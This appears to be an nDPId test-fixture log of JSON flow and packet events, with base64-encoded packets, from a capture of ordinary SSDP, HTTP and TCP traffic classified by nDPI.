+00580{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":623,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":5874,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRUAAAQRv17AqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":625,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1470104385211,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"239.255.255.250","src_port":55485,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00579{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":625,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":211573,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ0oAAAERfD7AqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":625,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1470104385211,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"239.255.255.250","src_port":55485,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":626,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1470104385211,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"239.255.255.250","src_port":55484,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00579{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":626,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":211727,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChfwAAAAERhKDAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":626,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1470104385211,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"239.255.255.250","src_port":55484,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00578{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":627,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":212104,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMOQAAAER0ozAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":628,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":313558,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOr0AAAERyMDAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":631,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1470104385418,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":51704,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00584{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":631,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":418800,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCewAAAQR9ojAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":631,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1470104385418,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":51704,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":636,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1470104385827,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.218","dst_ip":"255.255.255.255","src_port":50151,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":636,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104385,"pkt_ts_usec":827777,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/rCILUFkxCABFAABEAABAAEARLlc7eNDa\/\/\/\/\/8PnB5sAMKByU3Uyb1ZTdDRBQUJIWlc1MGNtbGpaVjlCVUVOZlozVmxjM1FBYldVQQ=="} +00584{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":643,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104386,"pkt_ts_usec":645103,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLcAAAQRv7\/AqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00483{"flow_id":45,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104386,"pkt_ts_usec":937728,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ABxCjnAxABAj4ACgCABFAABdVrFAAEAG6j3AqHNLwKgFEAG70XdE8SXhHgHmL1AYAEa9yAAAFQMDADAL2rIa718l782i9dkDIcqQtKzDEyHxDKXTvidj58VEqE5kb1BH\/HnLnTzyrYBe4U4="} +00417{"flow_id":45,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":646,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104386,"pkt_ts_usec":937789,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAor95AAEAGkUXAqAUQwKhzS9F3AbseAeYvRPEmFlAQH\/5TvwAAC1ZFUzE2"} +00579{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104387,"pkt_ts_usec":54000,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEQAAAER2QbAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00580{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":653,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104387,"pkt_ts_usec":260032,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFEAAAER7zPAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":662,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1470104388033,"flow_last_seen":0,"flow_tot_l4_data_len":21,"flow_min_l4_data_len":21,"flow_max_l4_data_len":21,"flow_avg_l4_data_len":21,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"203.66.182.87","src_port":49596,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00410{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":662,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":33892,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUkZAAIAG8z3AqHMIy0K2V8G8AbsrwEGmNGHnvFAQAQOsiQAAAA=="} +00410{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":663,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":33946,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"TF4M6gNlABxCjnAxCABFAAApUkZAAIAG8z3AqHMIy0K2V8G8AbsrwEGmNGHnvFAQAQOsiQAAAA=="} +00422{"flow_id":61,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":664,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":37933,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0ZvMAAD0GYYbLQrZXwKhzCAG7wbw0Yee8K8BBp4AQAO2bugAAAQEFCivAQaYrwEGn"} +00579{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":665,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":182619,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6uKxvwfbSCABFAAChJ0wAAAERfDzAqGUh7\/\/\/+ti9B2wAjWL8TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":182845,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cPGh+Cr9CABFAAChfzUAAAERhGvAqAUJ7\/\/\/+ti8B2wAjcMVTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":284599,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMOoAAAER0obAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104388,"pkt_ts_usec":284786,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOtwAAAERyKHAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":680,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1470104389597,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":680,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104389,"pkt_ts_usec":597943,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0ErtAAEAGH+LAqAUQROn9hdFtAFBAFGHVDj7nf4AREAH2GQAAAQEIChoPOPTPHNz0"} +00583{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":681,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104389,"pkt_ts_usec":616162,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLgAAAQRv77AqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00579{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":687,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":23643,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEUAAAER2QXAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00580{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":229888,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFIAAAER7zLAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":693,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1470104390443,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53624,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":443500,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"TF4M6gNlYMVHBbyMCABFAABAN95AAEAG+rLAqAUQROn9hdF4AFAesUW4AAAAALAC\/\/+iVAAAAgQFtAEDAwUBAQgKGg88QAAAAAAEAgAA"} +00435{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":640525,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABxCjnAxTF4M6gNlCABFAAA8AABAADUGPZVE6f2FwKgFEABQ0Xh2OO96HrFFuaASFqBImwAAAgQFtAQCCArPHh84Gg88QAEDAwg="} +00424{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":640578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0PI1AAEAG9g\/AqAUQROn9hdF4AFAesUW5djjve4AQEBV9LwAAAQEIChoPPQTPHh84"} +00782{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":642049,"pkt_caplen":331,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":331,"pkt_l4_len":297,"pkt":"TF4M6gNlYMVHBbyMCABFAAE9+GJAAEAGOTHAqAUQROn9hdF4AFAesUW5djjve4AYEBVNJgAAAQEIChoPPQXPHh84R0VUIC9jb21NYWdpY2FuQXBpL2NvbXBvc2l0ZS9hcHAucGhwL0dsb2JhbC9JbmRleC9pcCBIVFRQLzEuMQ0KSG9zdDogYXBpLm1hZ2ljYW5zb2Z0LmNvbQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogemgtdHcNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KVXNlci1BZ2VudDogTWFnaWNhbiAodW5rbm93biB2ZXJzaW9uKSBDRk5ldHdvcmsvNzIwLjUuNyBEYXJ3aW4vMTQuNS4wICh4ODZfNjQpDQoNCg=="} +00752{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":696,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":4,"flow_first_seen":1470104390443,"flow_last_seen":1470104390642,"flow_tot_l4_data_len":413,"flow_min_l4_data_len":32,"flow_max_l4_data_len":297,"flow_avg_l4_data_len":103,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53624,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"api.magicansoft.com","url":"api.magicansoft.com\/comMagicanApi\/composite\/app.php\/Global\/Index\/ip","code":0,"content_type":"","user_agent":"Magican (unknown version) CFNetwork\/720.5.7 Darwin\/14.5.0 (x86_64)"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":697,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1470104390741,"flow_last_seen":0,"flow_tot_l4_data_len":131,"flow_min_l4_data_len":131,"flow_max_l4_data_len":131,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:fe9a:ec54","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":741932,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"MzMAAAABTF4MmuxUht1gAAAAAIMRAf6AAAAAAAAATl4M\/\/6a7FT\/AgAAAAAAAAAAAAAAAAABFi4WLgCDan0ABGg\/AAEABkxeDJrsVAAFAAAABwAPNi4zNS4xIChzdGFibGUpAAgACE1pa3JvVGlrAAoABHzzfwAACwAJM0RYWS1LSEdEAAwADUNSUzEyNS0yNEctMVMADgABAQAPABD+gAAAAAAAAE5eDP\/+muxUABAAB2JyaWRnZTE="} +00424{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104390,"pkt_ts_usec":838554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA08IZAADUGTRZE6f2FwKgFEABQ0Xh2OO97HrFGwoAQABuLWQAAAQEICs8eH\/4aDz0F"} 